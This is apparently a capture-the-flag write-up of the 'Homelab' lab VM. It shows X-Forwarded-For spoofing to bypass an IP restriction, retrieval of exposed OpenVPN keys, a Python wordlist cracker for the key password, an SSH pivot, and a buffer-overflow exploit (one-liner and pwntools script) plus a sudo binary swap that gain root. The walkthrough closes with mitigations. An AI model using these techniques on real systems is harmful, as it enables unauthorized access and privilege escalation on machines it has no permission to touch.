Post

Homelab

This machine is based on IP Bypass restrictions, OpenVPN and Buffer Overflow Attack.

Homelab
Machine Link 🛡️Homelab
Operating SystemLinux
DifficultyMedium
Machine Created by20206675

1️⃣ Introduction

The Homelab machine is a Linux-based virtual machine designed to simulate a home lab environment, offering a practical platform to hone penetration testing skills. This exercise focuses on unique learning goals such as web enumeration, bypassing IP-based restrictions, configuring and exploiting OpenVPN, and performing privilege escalation via buffer overflow exploitation. No specific CVEs are targeted; instead, the process emphasizes manual testing and creative exploitation techniques to achieve root access.

Target Overview:

  • IP Address: 10.0.2.34
  • Objective: Gain root access
  • Assumptions: Linux-based system running Apache services.

This walkthrough provides an educational journey through identifying vulnerabilities, exploiting them, and escalating privileges in a controlled lab setting.


2️⃣ Port Scanning

Why:

Port scanning is a critical first step in penetration testing, enabling the identification of open services and potential entry points. It establishes the attack surface and guides subsequent enumeration efforts.

Commands:

1
└─$ sudo nmap -sC -sV -p- -vv -T4 -oN Nmap_Result.txt 10.0.2.34

Notes:

  • Command Breakdown:
    • sudo: Ensures elevated privileges for a comprehensive scan.
    • -sC: Executes default Nmap scripts to gather additional service details.
    • -sV: Identifies service versions for potential vulnerability research.
    • -p-: Scans all 65535 ports to uncover any hidden services.
    • -vv: Provides verbose output for real-time monitoring.
    • -T4: Increases scanning speed with a balanced timing template.
    • -oN: Saves results to a file for documentation.
  • Output:
    1
    2
    3
    4
    5
    6
    7
    8
    9
    
    PORT   STATE SERVICE REASON         VERSION
    80/tcp open  http    syn-ack ttl 64 Apache httpd 2.4.62 ((Unix))
    |_http-title: Mac OS X Server
    | http-methods: 
    |   Supported Methods: GET POST OPTIONS HEAD TRACE
    |_  Potentially risky methods: TRACE
    |_http-favicon: Apache on Mac OS X
    |_http-server-header: Apache/2.4.62 (Unix)
    MAC Address: 08:00:27:1A:E1:C4 (PCS Systemtechnik/Oracle VirtualBox virtual NIC)
    
  • Discovered Ports and Services:
    • Port 80 (HTTP): Running Apache httpd 2.4.62, presenting a “Mac OS X Server” webpage. The TRACE method is enabled, which could pose a minor risk but wasn’t exploited here.
    • MAC Address: Indicates a VirtualBox VM, consistent with a lab environment.
  • Reasoning for Focus: Port 80 was prioritized due to its accessibility and the likelihood of misconfigurations or hidden endpoints on a web server, making it a prime candidate for further enumeration.

3️⃣ Web Enumeration

Tools:

  • feroxbuster for directory brute-forcing
  • curl for manual HTTP header manipulation
  • Manual browser exploration

Content:

Let see port 80 static site 🔻

Port 80 dashboard site

No any option is working so lets find some directories or files from directory brute-force, through feroxbuster tool.

  • Directory Brute-Forcing with Feroxbuster:
    1
    
    feroxbuster -u 'http://10.0.2.34/' -w /usr/share/wordlists/seclists/Discovery/Web-Content/raft-large-words-lowercase.txt -t 100 -C 403,404,400,503,500 -o ferox.json -x php,txt,zip
    

    Output:

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    
    200      GET       13l       37w     2194c http://10.0.2.34/poweredbymacosxserver.gif
    200      GET      412l     2178w   136171c http://10.0.2.34/script/compressed_libraries.js
    301      GET        9l       28w      304c http://10.0.2.34/style => http://10.0.2.34/style/
    301      GET        9l       28w      305c http://10.0.2.34/script => http://10.0.2.34/script/
    301      GET        9l       28w      306c http://10.0.2.34/service => http://10.0.2.34/service/
    200      GET      130l      376w     5435c http://10.0.2.34/
    200      GET        5l       27w      226c http://10.0.2.34/style/serverhome_static.css
    200      GET      192l      384w     3041c http://10.0.2.34/style/iphone.css
    200      GET       75l      215w     2241c http://10.0.2.34/script/serverhome.js
    200      GET      351l     1040w    98713c http://10.0.2.34/script/compressed_widgets.js
    301      GET        9l       28w      308c http://10.0.2.34/style/img => http://10.0.2.34/style/img/
    200      GET        1l       10w       59c http://10.0.2.34/service/
    200      GET        1l       10w       59c http://10.0.2.34/service/index.php
    

I can see service directory lets look into it 🔻

Service page indicate self availability

  • Potential Attack Surfaces:
    • The /service/ endpoint is protected by an IP-based access control, likely checking the X-Forwarded-For header, making it vulnerable to spoofing.
    • Static files and directories provide additional context but no immediate exploitable points beyond /service/.

4️⃣ Vulnerability Identification

IP-Based Restriction Bypass

  • What it is: A security control that only allows access to the /service/ endpoint from specific IP addresses.
  • Why the target is vulnerable: The server trusted the X-Forwarded-For header to determine the client’s IP address, allowing attackers to spoof their IP and bypass the restriction.
  • Links:
  • Detailed Explanation:
    The X-Forwarded-For header is commonly used to track the original client IP through proxies or load balancers. However, when a server relies solely on this header for access control without verifying its authenticity (e.g., via trusted proxy IPs), it becomes exploitable. Here, the /service/ endpoint likely checks if the XFF header matches an allowed IP (e.g., the server’s own IP), making it susceptible to manipulation.

Why Attackers Use X-Forwarded-For: <victim IP>

In security testing/pentesting, manipulating this header serves several purposes:

  1. Bypassing IP-Based Restrictions

    1
    2
    3
    
     GET /admin HTTP/1.1
     Host: target.com
     X-Forwarded-For: 10.0.2.34  # Victim's trusted IP
    
    • If the server only allows admin access from 10.0.2.34
    • Attacker spoofs this IP in XFF to bypass the restriction
  2. Evading Detection/Blocking
    • WAF/IPS might block external IPs but trust internal ones
    • Makes attacks appear to come from “inside” the network
  3. SSRF (Server-Side Request Forgery)
    • Tricks internal services into thinking requests come from trusted locations
    • Can access internal resources (like cloud metadata services)
  4. Log Poisoning
    • If logs are displayed/parsed unsafely, can lead to code execution
    • Makes malicious code appear in logs as if from localhost
  5. IP Reputation Abuse
    • Makes requests appear to come from reputable IPs
    • Bypasses rate limiting or IP-based security measures

So lets bypass IP based restrictions 🔻

1
2
3
4
5
6
7
8
9
─$ curl --path-as-is -i -s -k -X 'GET' 'http://10.0.2.34/service/index.php' -H  "X-Forwarded-For:127.0.0.1"
HTTP/1.1 200 OK
Date: Sat, 02 Aug 2025 05:24:40 GMT
Server: Apache/2.4.62 (Unix)
X-Powered-By: PHP/8.4.5
Content-Length: 59
Content-Type: text/plain;charset=UTF-8

Whoa! But sorry, this service is only available for myself!                                                         

With localhost restrictions I do not get in but from the message point of view I need to use victim machine IP here 🔻

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
└─$ curl --path-as-is -i -s -k -X 'GET' 'http://10.0.2.34/service/index.php' -H  "X-Forwarded-For:10.0.2.34"
HTTP/1.1 200 OK
Date: Sat, 02 Aug 2025 05:25:03 GMT
Server: Apache/2.4.62 (Unix)
X-Powered-By: PHP/8.4.5
Content-Length: 326
Content-Type: text/html; charset=UTF-8

# Last modified by shinosawa
# on 2024-12-21

# Example Configuration File

client
dev tun
proto udp
remote ? ?
resolv-retry infinite
nobind
persist-key
persist-tun
ca ?
cert ?
# Regenerate a STRONG password for the KEY
# Do NOT use a SAME password as other services et. SSH
# it is DANGEROUS!
key ?
cipher AES-256-GCM
verb 3

This message / data shows the exact format or contents that contains by an OpenVPN file.


5️⃣ Exploitation

Content:

Let me show you the format of OpenVPN file for example 🔻

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
client                      <-- Client Mode
dev tun                     <-- Tunnel Device
proto udp                   <-- UDP Protocol
remote your_server_ip 1194  <-- Server Address:Port
resolv-retry infinite       <-- Resolve DNS Continuously
nobind                      <-- No Local Port Binding

ca ca.crt                   <-- CA Certificate File
cert client.crt             <-- Client Certificate File
key client.key              <-- Client Private Key

tls-auth ta.key 1           <-- TLS Auth Key:Direction

cipher AES-256-GCM          <-- Encryption Cipher
auth SHA256                 <-- Auth Algorithm

persist-key                 <-- Keep Keys
persist-tun                 <-- Keep Tunnel
explicit-exit-notify        <-- Notify Server Exit

From above example file I require 4 things I guess 🔻

  1. your_server_ip : This will be the victim machine IP address.
  2. ca ca.crt : This directive specifies the file containing the Certificate Authority (CA) certificate. This certificate is shared between the OpenVPN server and all clients and is crucial for authenticating the server.
  3. cert client.crt : This specifies the client’s public certificate file. Each client should have its own unique certificate/key pair for optimal security.
  4. key client.key : This directive points to the client’s private key file. This file must be kept secret and secure on the client machine.

For these files I guess I have to do again directory brute-forcing where I have to look for these certificate extensions.

1
└─$ feroxbuster -u 'http://10.0.2.34/service/' -w /usr/share/seclists/Discovery/Web-Content/raft-large-words-lowercase.txt -t 100 -d 2 -x crt,key,cert
1
2
3
4
200      GET        1l       10w       59c http://10.0.2.34/service/
200      GET       84l      139w     4492c http://10.0.2.34/service/client.crt
200      GET       20l       22w     1200c http://10.0.2.34/service/ca.crt
200      GET       30l       36w     1862c http://10.0.2.34/service/client.key

I got the files let’s put it into the openvpn file that I get from the service page like this 🔻

1
└─$ curl --path-as-is -s -X 'GET' 'http://10.0.2.34/service/index.php' -H  "X-Forwarded-For:10.0.2.34" -o homelab.ovpn

Now lets put all the data entries inside the OpenVPN file 🔻

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
└─$ cat homelab.ovpn 
# Last modified by shinosawa
# on 2024-12-21

# Example Configuration File

client
dev tun
proto udp
remote 10.0.2.34 1194
resolv-retry infinite
nobind
persist-key
persist-tun
ca ca.crt
cert client.crt
# Regenerate a STRONG password for the KEY
# Do NOT use a SAME password as other services et. SSH
# it is DANGEROUS!
key client.key
cipher AES-256-GCM
verb 3

Since the default port for OpenVPN is 1194 and it is indicating that the connection is with UDP port lets check it weather it is open or not🔻

1
2
3
4
5
6
7
└─$ sudo nmap -p 1194 10.0.2.34 -sU -sV                     
Nmap scan report for 10.0.2.34
Host is up (0.0027s latency).

PORT     STATE SERVICE VERSION
1194/udp open  openvpn OpenVPN
MAC Address: 08:00:27:1A:E1:C4 (PCS Systemtechnik/Oracle VirtualBox virtual NIC)

Next let run this openvpn file to gain an external IP tunnel connection that can expose other IP address with other open ports that can be exploitable 🔻

1
2
3
4
5
6
7
8
└─$ sudo openvpn homelab.ovpn
2025-08-02 11:26:14 Note: Kernel support for ovpn-dco missing, disabling data channel offload.
2025-08-02 11:26:14 WARNING: file 'client.key' is group or others accessible
2025-08-02 11:26:14 OpenVPN 2.6.14 x86_64-pc-linux-gnu [SSL (OpenSSL)] [LZO] [LZ4] [EPOLL] [PKCS11] [MH/PKTINFO] [AEAD] [DCO]
2025-08-02 11:26:14 library versions: OpenSSL 3.5.1 1 Jul 2025, LZO 2.10
2025-08-02 11:26:14 DCO version: N/A
2025-08-02 11:26:14 WARNING: No server certificate verification method has been enabled.  See http://openvpn.net/howto.html#mitm for more info.
Enter Private Key Password: (no echo)               

It is password protected so for decoding the password we can use 2 ways to do it 🔻

  1. OPENVPN Approach
  2. OPENSSL Approach
  • Key Differences in Both Approach:
FeatureOpenSSL ApproachOpenVPN Approach
SpeedVery fast (direct key decryption)Slower (full VPN connection setup)
Resource UsageLow (single OpenSSL process)High (OpenVPN with network operations)
AccuracyTests key decryption onlyTests entire VPN connection process
Error HandlingChecks OpenSSL error messagesChecks OpenVPN connection messages
Use CaseBest for just cracking key passwordBest for testing full VPN connectivity

So I have created a python script using AI through OpenSSL Approach that usage a password-list file for password trial and give me the result out of it 🔻

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
#!/usr/bin/env python3
import subprocess
import os
import sys

# Configuration
encrypted_key_path = "client.key"
decrypted_key_path = "client_decrypted.key"
password_list_path = "/usr/share/wordlists/seclists/Passwords/xato-net-10-million-passwords-100000.txt"

# Check if key file exists
if not os.path.exists(encrypted_key_path):
    print(f"❌ Error: Encrypted key file not found at {encrypted_key_path}")
    sys.exit(1)

# Count total passwords in wordlist (optimized for large files)
def count_lines(file_path):
    count = 0
    with open(file_path, 'r') as f:
        for _ in f:
            count += 1
    return count

total_passwords = count_lines(password_list_path)

# Header output
print(f"🔓 Starting private key password brute-force...")
print(f"Key: {encrypted_key_path} | Output: {decrypted_key_path}")
print(f"Wordlist: {password_list_path}")
print("-" * 50)

# Process passwords in batches for better performance
batch_size = 500
processed = 0

try:
    with open(password_list_path, 'r') as f:
        for line_num, password in enumerate(f, 1):
            password = password.strip()
            if not password:
                continue

            # Show progress every batch_size attempts
            if line_num % batch_size == 0 or line_num == 1 or line_num == total_passwords:
                display_pass = password[:20] + ('...' if len(password) > 20 else '')
                print(f"\r{' ' * 80}\r[{line_num}/{total_passwords}] Trying: {display_pass}", end='')

            # Construct openssl command
            cmd = [
                "openssl", "rsa",
                "-in", encrypted_key_path,
                "-out", decrypted_key_path,
                "-passin", f"pass:{password}"
            ]

            # Execute command with timeout to prevent hanging
            try:
                process = subprocess.run(
                    cmd, 
                    capture_output=True, 
                    text=True, 
                    check=False,
                    timeout=5  # 5-second timeout per attempt
                )
            except subprocess.TimeoutExpired:
                continue  # Skip if timeout

            # Check for success
            if process.returncode == 0 and "writing RSA key" in process.stderr:
                print("\n" + "=" * 60)
                print(f"🎉 SUCCESS! Password found: {password}")
                print(f"Decrypted key saved to {decrypted_key_path}")
                print("=" * 60)
                sys.exit(0)
            # Continue on wrong password
            elif "bad decrypt" in process.stderr or "digital envelope routines" in process.stderr:
                continue
            # Show other errors only for first few attempts
            elif line_num <= 10:
                print(f"\n[ERROR] Openssl output for '{password}':")
                print(process.stdout)
                print(process.stderr)

        # If we get here, no password worked
        print("\n❌ Password not found in wordlist")

except FileNotFoundError:
    print(f"\n❌ Error: Password list file not found at {password_list_path}")
except KeyboardInterrupt:
    print("\n\n⚠️ Brute-force interrupted by user")
except Exception as e:
    print(f"\n❌ An unexpected error occurred: {e}")

finally:
    # Clean up empty file if created
    if os.path.exists(decrypted_key_path) and os.path.getsize(decrypted_key_path) == 0:
        os.remove(decrypted_key_path)

Output :

1
2
3
4
5
6
7
8
9
10
└─$ python3 find_private_key_pass.py
🔓 Starting private key password brute-force...
Key: client.key | Output: client_decrypted.key
Wordlist: /usr/share/wordlists/seclists/Passwords/xato-net-10-million-passwords-100000.txt
--------------------------------------------------                                                
[23000/100000] Trying: 2324                                                     
============================================================
🎉 SUCCESS! Password found: XXXXXXX
Decrypted key saved to client_decrypted.key
============================================================

I got the password for this OpenVPN file let’s run it now, and check the IP address tunnel establish on attacker machine through route🔻

1
2
3
4
5
6
7
└─$ route        
Kernel IP routing table
Destination     Gateway         Genmask         Flags Metric Ref    Use Iface
default         10.0.2.1        0.0.0.0         UG    100    0        0 eth0
10.0.2.0        0.0.0.0         255.255.255.0   U     100    0        0 eth0
10.8.0.0        0.0.0.0         255.255.255.0   U     0      0        0 tun0
10.176.13.0     10.8.0.1        255.255.255.0   UG    0      0        0 tun0

This route indicates you’ve gained access to a remote private network through your VPN connection.

  • Breakdown:
    • Destination: 10.176.13.0/24 - A remote private network
    • Gateway: 10.8.0.1 - The VPN server inside the tunnel
    • Interface: tun0 - Your VPN tunnel interface
    • Flags: UG - Route is “Up” and uses a “Gateway”
graph LR
    A[Attacker Machine] -->|default route| B[eth0<br>10.0.2.0/24]
    A -->|VPN tunnel| C[tun0<br>10.8.0.0/24]
    B --> D[Internet GW<br>10.0.2.1]
    C --> E[VPN Server<br>10.8.0.1]
    A -->|10.176.13.0/24 route| E
    E --> F[Remote Network<br>10.176.13.0/24]
    
    style A fill:#f00,stroke:#333,stroke-width:2px
    style C fill:#bbf,stroke:#333,stroke-width:2px
    style E fill:#f96,stroke:#333,stroke-width:2px
    style F fill:#bfb,stroke:#333,stroke-width:2px
What This Means:
  • You’ve accessed a new network:

    • The 10.176.13.0/24 network is now reachable through your VPN
    • This is likely an internal network at the VPN server’s location
  • Traffic flow:

    • When you try to reach any IP in 10.176.13.0/24
    • Traffic goes through your VPN tunnel (tun0)
    • Gets routed to the VPN server (10.8.0.1)
    • Then forwarded to the 10.176.13.0/24 network

Now let’s scan the new network 10.176.13.0/24 🔻

1
2
3
4
5
└─$ sudo nmap -sn 10.176.13.0/24 # Ping scan to find live hosts               

Nmap scan report for 10.176.13.37
Host is up (0.0017s latency).
Nmap done: 256 IP addresses (1 host up) scanned in 81.48 seconds

I can access this IP 10.176.13.37 lets check for any open ports 🔻

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
└─$ sudo nmap -sC -sV -p- -vv -T4 10.176.13.37 

PORT   STATE SERVICE REASON         VERSION
22/tcp open  ssh     syn-ack ttl 64 OpenSSH 9.9 (protocol 2.0)
| ssh-hostkey: 
|   256 f7:f2:e0:96:c0:28:67:93:5f:90:f2:a1:86:73:74:00 (ECDSA)
| ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBH+CjUSwYPHWSRaCoNKew8nMYY/85uXguTSqxBeMa63bM5IQgj6l27W1EHq3BKEKXohEWB7ekvxZ8LeDfFyrsag=
|   256 92:40:ba:b8:11:ad:79:41:71:f8:9e:00:01:64:9c:34 (ED25519)
|_ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIBZmrtdcLvdq0gPyIp6dyJpObU2ysXjwyi1j6QfSDKhj
80/tcp open  http    syn-ack ttl 64 Apache httpd 2.4.62 ((Unix))
|_http-title: Mac OS X Server
|_http-favicon: Apache on Mac OS X
|_http-server-header: Apache/2.4.62 (Unix)
| http-methods: 
|   Supported Methods: GET POST OPTIONS HEAD TRACE
|_  Potentially risky methods: TRACE
  • Alternative Methods Considered:
    • Cracking the OpenVPN connection directly instead of decrypting the key, though this would be slower and less targeted than the OpenSSL approach.

6️⃣ Getting Shell

Content:

We got port 22 open that means we can try SSH connection as we got the username from OPENVPN file and let’s use the private key password as the SSH password and hopes that it works 🔻

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
└─$ ssh shinosawa@10.176.13.37                  
shinosawa@10.176.13.37s password: 

homelab:~$ whoami
shinosawa
homelab:~$ id
uid=1000(shinosawa) gid=1000(shinosawa) groups=100(users),1000(shinosawa)
homelab:~$ ls -al
total 32
drwx------    2 shinosawa shinosawa      4096 Apr 17 13:38 .
drwxr-xr-x    3 root     root          4096 Apr 17 12:03 ..
lrwxrwxrwx    1 root     root             9 Apr 17 12:20 .ash_history -> /dev/null
-r-xr-xr-x    1 shinosawa shinosawa     18888 Apr 17 13:38 deepseek
-r--------    1 shinosawa shinosawa        39 Apr 17 12:29 user.flag
homelab:~$

7️⃣ Post-Exploitation Enumeration

Content:

I got in, I got the shell so lets enumerate further for sudo privileges and see if this user can take me to root or not 🔻

1
2
3
4
5
6
7
8
9
10
11
12
homelab:~$ sudo -l
Matching Defaults entries for shinosawa on homelab:
   
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin

Runas and Command-specific defaults for shinosawa:
    Defaults!/usr/sbin/visudo env_keep+="SUDO_EDITOR EDITOR
    VISUAL"

User shinosawa may run the following commands on homelab:
    (ALL) NOPASSWD: /home/shinosawa/deepseek
homelab:~$ 

Indeed it can, So lets see what this file /home/shinosawa/deepseek does 🔽

With the help of ghidra tool in my host machine I got these functions executing from deepseek binary ⏬

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
undefined8 main(void)

{
  setbuf((FILE *)0x0,(char *)0x0);
  vuln();
  return 0;
}


void processEntry entry(void)

{
  _start_c((long *)&stack0x00000000);
  return;
}



void execute(void)

{
  puts("[*] in execute()");
  fflush((FILE *)0x0);
  puts("[*] running shell");
  fflush((FILE *)0x0);
  execl("/bin/sh","sh",0);
  perror("execl failed");
                    /* WARNING: Subroutine does not return */
  exit(1);
}


/* WARNING: Removing unreachable block (ram,0x004011f 8) */

void frame_dummy(void)

{
  __register_frame_info(&fde_00402148,object.0);
  register_tm_clones();
  return;
}


void typewriter_output(void)

{
  size_t sVar1;
  ulong local_10;
  
  local_10 = 0;
  while( true ) {
    sVar1 = strlen(
                  "<think>\nEmm, I\'m so tired and don\'t want to a nswer any questions.\n</think>\n\nThinking has st opped.\nThe server is busy, please try again later.\n "
                  );
    if (sVar1 <= local_10) break;
    putchar((int)"<think>\nEmm, I\'m so tired and don\'t want t o answer any questions.\n</think>\n\nThinking has stopped .\nThe server is busy, please try again later.\n"
                 [local_10]);
    fflush((FILE *)0x0);
    usleep(50000);
    local_10 = local_10 + 1;
  }
  return;
}


void vuln(void)

{
  char local_48 [64];
  
  printf(">>> ");
  fflush((FILE *)0x0);
  fgets(local_48,0x100,(FILE *)0x0);
  typewriter_output();
  return;
}

Function Overview

1. main(void)

  • Purpose: Entry point of the program
  • Functionality:
    • Disables buffering for standard I/O streams
    • Calls the vulnerable vuln() function
    • Returns 0 on completion
  • Security Relevance: Minimal, just sets up the program flow

2. execute(void)

  • Purpose: Spawns a shell
  • Functionality:
    • Prints status messages: “[] in execute()” and “[] running shell”
    • Executes /bin/sh using execl()
    • Handles execution failure with error message
  • Security Relevance: TARGET FUNCTION - This is what we redirect execution to during exploitation

3. vuln(void)

  • Purpose: Handles user input with a critical vulnerability
  • Functionality:
    • Creates a 64-byte buffer (local_48)
    • Displays “»> “ prompt
    • Reads up to 256 bytes into the 64-byte buffer using fgets()
    • Calls typewriter_output() to display a message
  • Security Relevance: VULNERABILITY - Classic buffer overflow (256 bytes into 64-byte buffer)

4. typewriter_output(void)

  • Purpose: Creates a typewriter effect for output
  • Functionality:
    • Prints a message character by character with 50ms delays
    • Message: “Emm, I’m so tired and don’t want to answer any questions…”
    • Creates a “busy server” effect
  • Security Relevance: None, just user experience

5. processEntry entry(void)

  • Purpose: Program initialization wrapper
  • Functionality: Calls _start_c() for setup
  • Security Relevance: Not relevant to exploitation

6. frame_dummy(void)

  • Purpose: Compiler-generated initialization
  • Functionality: Registers frame information for exception handling
  • Security Relevance: Not relevant to exploitation

Program Flow & Exploitation

1
main() → vuln() → [BUFFER OVERFLOW] → execute() → /bin/sh

Key Security Loopholes 🔽

  1. Buffer Overflow Vulnerability:

    • fgets() reads 256 bytes into a 64-byte buffer
    • No bounds checking allows overwriting adjacent stack data
    • Return address can be overwritten to redirect execution
  2. Control Flow Hijacking:

    • By overflowing the buffer, we overwrite the return address
    • Redirect execution to execute() instead of normal return
    • execute() provides a shell with /bin/sh
  3. Exploitation Steps:

    • Send 72 bytes of padding (64 bytes buffer + 8 bytes RBP)
    • Followed by address of execute() in little-endian format
    • When vuln() returns, jumps to execute() instead of caller
  4. Why It Works:

    • No stack canaries (no protection against buffer overflow)
    • No ASLR (addresses are predictable)
    • No NX bit (stack is executable)

So here is a python one liner code that does the task 🔻

1
(python3 -c 'import sys; sys.stdout.buffer.write(b"A"*72 + b"\xd6\x11\x40\x00\x00\x00\x00\x00")'; cat) | sudo /home/shinosawa/deepseek

(Replace \xd6\x11\x40\x00\x00\x00\x00\x00 with your address in little-endian)

But before we run it, I need to find exact address of the execute() function to replace it🔻

1
2
3
homelab:~$ objdump -d /home/shinosawa/deepseek | grep execute
0000000000401266 <execute>:
homelab:~$

Now place the address in a little endian format and then into the python one liner and to convert it to Little Endian here is the steps 🔻

Step 1: Understand Little-Endian Format:

In 64-bit systems, addresses are stored as 8 bytes. Little-endian means:

  • Least significant byte comes first
  • Most significant byte comes last
Step 2: Convert 0x401266 to Little-Endian:
  1. Full 64-bit representation: 0x0000000000401266
  2. Break into bytes (from least to most significant):
    1
    
     66 12 40 00 00 00 00 00
    
  3. Little-endian byte sequence: \x66\x12\x40\x00\x00\x00\x00\x00

Now I can run this one-liner python buffer overflow string into the command to make it executable for /bin/sh command 🔻

1
(python3 -c 'import sys; sys.stdout.buffer.write(b"A"*72 + b"\x66\x12\x40\x00\x00\x00\x00\x00")'; cat) | sudo /home/shinosawa/deepseek

8️⃣ Privilege Escalation

Method Used: Buffer Overflow Exploitation

Let’s run it now 🔻

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
homelab:~$ (python3 -c 'import sys; sys.stdout.buffer.write(b"A"*72 + b"\x66\x12\x40\x00\x00\x00\x00\x00")'; cat) | sudo /home
/shinosawa/deepseek
>>> 
<think>
Emm, I'm so tired and don't want to answer any questions.
</think>

Thinking has stopped.
The server is busy, please try again later.
[*] in execute()
[*] running shell

whoami
root
id
uid=0(root) gid=0(root) groups=0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel),11(floppy),20(dialout),26(tape),27(video)
cd ~
pwd
/root
ls -al

total 12
drwx------    2 root     root          4096 Apr 17 13:43 .
drwxr-xr-x   21 root     root          4096 Apr 17 13:59 ..
lrwxrwxrwx    1 root     root             9 Apr 15 22:58 .ash_history -> /dev/null
-rwx------    1 root     root            39 Apr 17 13:43 root.flag
  • Explanation: The payload overflows the 64-byte buffer with 72 bytes (64 + 8 for the base pointer) and overwrites the return address with execute(), spawning a root shell.

But I wasn’t able to get an interactive shell so I automated it with python using pwntool library and here is the script 🔻

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
from pwn import *

# Configuration
BINARY_PATH = "/home/shinosawa/deepseek"
BUFFER_SIZE = 64
OFFSET = 72
EXECUTE_ADDR = 0x401266

def create_payload():
    """Create the buffer overflow payload"""
    padding = b'A' * OFFSET
    execute_addr_bytes = p64(EXECUTE_ADDR)
    return padding + execute_addr_bytes

def exploit():
    """Execute the buffer overflow attack"""
    print(f"[*] Creating payload with return address: {hex(EXECUTE_ADDR)}")
    payload = create_payload()
    
    # Start the process with sudo
    p = process(['sudo', BINARY_PATH])
    
    # Send the payload
    p.sendline(payload)
    
    # Upgrade the shell with a custom root prompt
    p.sendline(b'python3 -c "import pty; pty.spawn(\'/bin/bash --rcfile <(echo \"PS1=\\\"# \\\"\")\')"')
    
    # Switch to interactive mode
    p.interactive()

if __name__ == "__main__":
    exploit()

9️⃣ Root Access

The script provide me better handling of root access in an interactive mode 👾

Output :

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
homelab:~$ python3 exploit1.py 
[*] Creating payload with return address: 0x401266
[+] Starting local process '/usr/bin/sudo': pid 6748
[*] Switching to interactive mode
>>> <think>
Emm, I'm so tired and don't want to answer any questions.
</think>

Thinking has stopped.
The server is busy, please try again later.
[*] in execute()
[*] running shell
$ whoami
root
$ id
uid=0(root) gid=0(root) groups=0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel),11(floppy),20(dialout),26(tape),27(video)
$ cd ~
$ ls -al
total 12
drwx------    2 root     root          4096 Apr 17 13:43 .
drwxr-xr-x   21 root     root          4096 Apr 17 13:59 ..
lrwxrwxrwx    1 root     root             9 Apr 15 22:58 .ash_history -> /dev/null
-rwx------    1 root     root            39 Apr 17 13:43 root.flag
$ cat root.flag
flag{e3b081b8af1c7079049b029c7cb8bd0d}
$

I am root now !!


Alternative method 🔻

I as a shinosawa have full write to modify this file so lets replace it with another custom made executable file and execute as root like this 🔻

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
homelab:~$ whoami
shinosawa
homelab:~$ ls -al deepseek 
-r-xr-xr-x    1 shinosawa shinosawa     18888 Apr 17 13:38 deepseek
homelab:~$ mv deepseek deeps33k
homelab:~$ echo "/bin/sh" > deepseek
homelab:~$ chmod +x deepseek
homelab:~$ sudo /home/shinosawa/deepseek -p
/home/shinosawa # whoami
root
/home/shinosawa # id
uid=0(root) gid=0(root) groups=0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel),11(floppy),20(dialout),26(tape),27(video)
/home/shinosawa # cd ~
~ # pwd
/root
~ # ls -al
total 12
drwx------    2 root     root          4096 Apr 17 13:43 .
drwxr-xr-x   21 root     root          4096 Apr 17 13:59 ..
lrwxrwxrwx    1 root     root             9 Apr 15 22:58 .ash_history -> /dev/null
-rwx------    1 root     root            39 Apr 17 13:43 root.flag
~ # 

I am root now !!


🔍 Mitigation

Validate X-Forwarded-For Header: Implement server-side validation to trust only verified proxy IPs, preventing spoofing.
Secure OpenVPN Configuration: Store certificates and keys outside the web root and enforce strong, unique passwords.
Patch Buffer Overflow: Add bounds checking in deepseek and enable stack protections (e.g., canaries, ASLR).
Restrict Sudo Privileges: Limit sudo to specific, safe commands rather than arbitrary executables.


💡 Takeaways

IP Spoofing Mastery: Learned to bypass IP restrictions using X-Forwarded-For, a valuable web testing skill.
OpenVPN Exploitation: Gained practical experience with VPN setup and exploitation.
Buffer Overflow Skills: Enhanced understanding of crafting exploits for privilege escalation.
Automation Benefits: Improved efficiency with Python scripting for repetitive tasks.


If you have any questions or suggestions, please leave a comment below or DM me on Twitter. Thank you!


This post is licensed under CC BY 4.0 by the author.